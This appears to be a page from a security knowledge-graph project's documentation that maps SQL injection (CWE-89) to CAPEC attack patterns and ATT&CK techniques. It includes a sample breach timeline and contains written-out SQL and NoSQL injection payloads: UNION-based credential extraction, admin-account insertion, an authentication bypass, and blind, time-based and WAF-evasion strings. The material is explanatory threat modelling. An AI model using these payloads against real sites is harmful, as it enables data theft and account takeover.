03 — Attack Scenarios: CAPEC to ATT&CK

Attack Chain Visualization

graph LR
    A["CWE-89<br/>SQL Injection"]
    B1["CAPEC-66<br/>SQL Injection<br/>Direct"]
    B2["CAPEC-250<br/>XML/NoSQL<br/>Injection"]
    C1["T1190<br/>Exploit Public<br/>App"]
    C2["T1565<br/>Data<br/>Manipulation"]
    C3["T1078<br/>Valid<br/>Accounts"]

    A --> B1
    A --> B2
    B1 --> C1
    B2 --> C1
    C1 --> C2
    C1 --> C3

    style A fill:#8B0000,color:#fff
    style B1 fill:#FF6600,color:#000
    style B2 fill:#FF6600,color:#000
    style C1 fill:#0066CC,color:#fff
    style C2 fill:#0066CC,color:#fff
    style C3 fill:#0066CC,color:#fff

CAPEC-66: SQL Injection (Direct Attack)

Attack Steps

Identify injectable parameter — Find login form, search box, API parameter
Test for vulnerability — Insert ' OR '1'='1 to see if query breaks
Craft payload — Build malicious SQL to extract data
Execute query — Submit form with payload
Extract results — Read output or use blind techniques
Escalate — Dump entire database or modify data

Real Attack Example

# Vulnerable e-commerce site has search box
# URL: http://vulnerable-site.com/search?product=shoes

# Normal request
curl "http://vulnerable-site.com/search?product=shoes"
# Returns results for shoes

# Attack payload
curl "http://vulnerable-site.com/search?product=shoes' UNION SELECT username,password,email FROM admin_users --"

# Results show:
# Username: admin
# Password: SecureP@ss123
# Email: admin@company.com

CAPEC-250: XML Injection (NoSQL Variant)

NoSQL Injection Example

MongoDB (NoSQL) vulnerable code:

// Vulnerable Node.js code
db.collection('users').findOne({username: req.body.username, password: req.body.password})

Attack payload (JSON):

{
  "username": {"$ne": null},
  "password": {"$ne": null}
}
// Results in query that matches ANY user (authentication bypass)

ATT&CK Mapping: T1190 (Exploit Public-Facing Application)

T1190 → Execution Phase

Once SQLi is exploited:

Information Gathering
- Dump database schema
- List all tables and columns
- Identify sensitive data location
Data Extraction
- Username/password hashes
- Credit card numbers (unencrypted legacy systems)
- API tokens and secrets
Account Compromise
- Modify user records
- Escalate privileges
- Create admin accounts
System Compromise (database-dependent)
- SQL Server: xp_cmdshell to execute OS commands
- PostgreSQL: copy ... from program for OS access
- MySQL: INTO OUTFILE to write files

Real-World Attack Timeline

Example: E-Commerce Site Breach

Day 1: Reconnaissance

-- Attacker tests search parameter
http://store.example.com/search?q=shoes' AND 1=1
-- Site returns results (vulnerable to SQLi confirmation)

Day 2: Database Enumeration

-- Map database structure
q=' UNION SELECT table_name FROM information_schema.tables --
-- Response shows: users, products, orders, admin_users

Day 3: Data Extraction

-- Extract admin credentials
q=' UNION SELECT id, username, password FROM admin_users --
-- Gets: admin/Passw0rd123, admin2/SecurePass99

Day 4: Privilege Escalation

-- Create new admin account
q='; INSERT INTO admin_users (username, password) VALUES ('attacker', 'AttackPass456'); --
-- Now attacker has admin access

Days 5-30: Lateral Spread - Access customer database - Dump 500,000 credit/debit cards - Real-world impact: Identity theft, fraud - Sell data on dark web for $50K-$500K

Detection Problems

Why attacks succeed despite defenses:

-- No error messages shown
id=1' AND (SELECT COUNT(*) FROM users WHERE username LIKE 'a%')=1 AND '1'='1

-- Attacker infers data through behavior:
-- If page loads normally  → Condition was true
-- If page errors         → Condition was false
-- Takes hours but works without alerting defenders

2. Time-Based Attacks

-- Delay if condition is true
id=1' AND SLEEP(5) --
-- If response takes 5+ seconds, injection succeeded

3. WAF Evasion

-- Bypass Web Application Firewall with encoding
id=1' UNION /*!50000SELECT*/ * FROM users --
-- /*!50000...*/  = MySQL comment with version condition
-- Passes simple WAF rules

KGCS Graph

MATCH (w:Weakness { cweId: "CWE-89" })
  -[:DEMONSTRATED_BY]->(ap:AttackPattern)
  -[:IMPLEMENTS]->(t:Technique)
RETURN w, ap, t

Results:

CAPEC-66 → T1190
CAPEC-250 → T1190

KGCS Documentation